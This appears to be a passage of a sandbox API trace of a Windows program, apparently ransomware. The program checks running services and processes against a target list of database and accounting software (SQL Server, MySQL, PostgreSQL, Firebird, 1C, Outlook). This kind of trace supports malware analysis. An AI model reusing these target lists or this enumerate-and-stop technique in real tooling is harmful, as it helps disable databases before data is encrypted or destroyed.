[0270.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0270.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0270.556] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0270.556] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0270.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0270.556] lstrlenW (lpString="Dnscache") returned 8 [0270.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0270.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0270.556] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0270.556] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0270.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0270.556] lstrlenW (lpString="DPS") returned 3 [0270.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0270.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0270.556] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0270.556] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0270.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0270.556] lstrlenW (lpString="eventlog") returned 8 [0270.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0270.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0270.556] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0270.556] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0270.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0270.556] lstrlenW (lpString="EventSystem") returned 11 [0270.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0270.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0270.556] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0270.557] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0270.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0270.557] lstrlenW (lpString="gpsvc") returned 5 [0270.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0270.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0270.557] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0270.557] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0270.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0270.557] lstrlenW (lpString="LanmanWorkstation") returned 17 [0270.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0270.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0270.557] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0270.557] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0270.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0270.557] lstrlenW (lpString="lmhosts") returned 7 [0270.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0270.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0270.557] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0270.557] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0270.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0270.557] lstrlenW (lpString="MMCSS") returned 5 [0270.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0270.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0270.557] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0270.557] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0270.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0270.557] lstrlenW (lpString="MpsSvc") returned 6 [0270.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0270.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0270.558] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0270.558] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0270.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0270.558] lstrlenW (lpString="NlaSvc") returned 6 [0270.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0270.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0270.558] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0270.558] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0270.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0270.558] lstrlenW (lpString="nsi") returned 3 [0270.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0270.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0270.558] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0270.558] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0270.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0270.558] lstrlenW (lpString="PcaSvc") returned 6 [0270.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0270.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0270.558] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0270.558] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0270.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0270.558] lstrlenW (lpString="PlugPlay") returned 8 [0270.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0270.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0270.558] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0270.558] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0270.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0270.558] lstrlenW (lpString="Power") returned 5 [0270.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0270.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0270.559] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0270.559] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0270.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0270.559] lstrlenW (lpString="ProfSvc") returned 7 [0270.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0270.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0270.559] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0270.559] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0270.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0270.559] lstrlenW (lpString="RpcEptMapper") returned 12 [0270.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0270.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0270.559] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0270.559] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0270.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0270.559] lstrlenW (lpString="RpcSs") returned 5 [0270.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0270.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0270.559] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0270.560] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0270.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0270.560] lstrlenW (lpString="SamSs") returned 5 [0270.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0270.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0270.560] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0270.560] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0270.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0270.560] lstrlenW (lpString="Schedule") returned 8 [0270.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0270.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0270.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0270.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0270.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0270.560] lstrlenW (lpString="SENS") returned 4 [0270.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0270.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0270.560] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0270.560] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0270.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0270.560] lstrlenW (lpString="ShellHWDetection") returned 16 [0270.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0270.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0270.560] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0270.560] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0270.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0270.560] lstrlenW (lpString="Spooler") returned 7 [0270.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0270.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0270.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0270.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0270.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0270.560] lstrlenW (lpString="Themes") returned 6 [0270.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0270.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0270.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0270.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0270.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0270.561] lstrlenW (lpString="UxSms") returned 5 [0270.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0270.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0270.561] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0270.561] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0270.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0270.561] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x42c41c0 | out: hHeap=0x2a0000) returned 1 [0270.561] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x304 [0270.562] Process32FirstW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0270.562] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0270.563] lstrlenW (lpString="System") returned 6 [0270.563] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0270.563] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0270.563] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0270.563] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0270.563] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0270.563] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0270.563] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0270.563] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0270.563] lstrlenW (lpString="smss.exe") returned 8 [0270.563] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0270.563] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0270.563] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0270.563] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0270.563] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0270.563] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0270.563] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0270.563] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0270.564] lstrlenW (lpString="csrss.exe") returned 9 [0270.564] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0270.564] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0270.564] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0270.564] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0270.564] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0270.564] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0270.564] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0270.564] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0270.564] lstrlenW (lpString="wininit.exe") returned 11 [0270.564] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0270.564] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0270.564] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0270.564] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0270.564] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0270.564] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0270.564] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0270.564] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0270.564] lstrlenW (lpString="csrss.exe") returned 9 [0270.564] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0270.565] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0270.565] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0270.565] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0270.565] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0270.565] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0270.565] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0270.565] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0270.565] lstrlenW (lpString="winlogon.exe") returned 12 [0270.565] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0270.565] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0270.565] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0270.565] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0270.565] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0270.565] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0270.565] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0270.565] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0270.565] lstrlenW (lpString="services.exe") returned 12 [0270.566] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0270.566] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0270.566] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0270.566] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0270.566] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0270.566] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0270.566] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0270.566] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0270.566] lstrlenW (lpString="lsass.exe") returned 9 [0270.566] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0270.566] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0270.566] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0270.566] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0270.566] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0270.566] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0270.566] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0270.566] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0270.566] lstrlenW (lpString="lsm.exe") returned 7 [0270.566] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0270.566] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0270.567] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0270.567] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0270.567] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0270.567] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0270.567] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0270.567] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.567] lstrlenW (lpString="svchost.exe") returned 11 [0270.567] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0270.567] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0270.567] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0270.567] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0270.567] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0270.567] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0270.567] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0270.567] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.567] lstrlenW (lpString="svchost.exe") returned 11 [0270.567] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0270.568] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0270.568] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0270.568] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0270.568] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0270.568] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0270.568] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0270.568] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.568] lstrlenW (lpString="svchost.exe") returned 11 [0270.568] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0270.568] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0270.568] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0270.568] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0270.568] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0270.568] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0270.568] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0270.568] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.569] lstrlenW (lpString="svchost.exe") returned 11 [0270.569] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0270.569] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0270.569] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0270.569] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0270.569] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0270.569] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0270.569] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0270.569] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.569] lstrlenW (lpString="svchost.exe") returned 11 [0270.569] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0270.569] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0270.570] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0270.570] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0270.570] lstrlenW (lpString="audiodg.exe") returned 11 [0270.570] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.570] lstrlenW (lpString="svchost.exe") returned 11 [0270.570] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.570] lstrlenW (lpString="svchost.exe") returned 11 [0270.570] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0270.571] lstrlenW (lpString="userinit.exe") returned 12 [0270.571] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0270.571] lstrlenW (lpString="dwm.exe") returned 7 [0270.571] Process32NextW (in: hSnapshot=0x304, lppe=0x207fd34 | out: 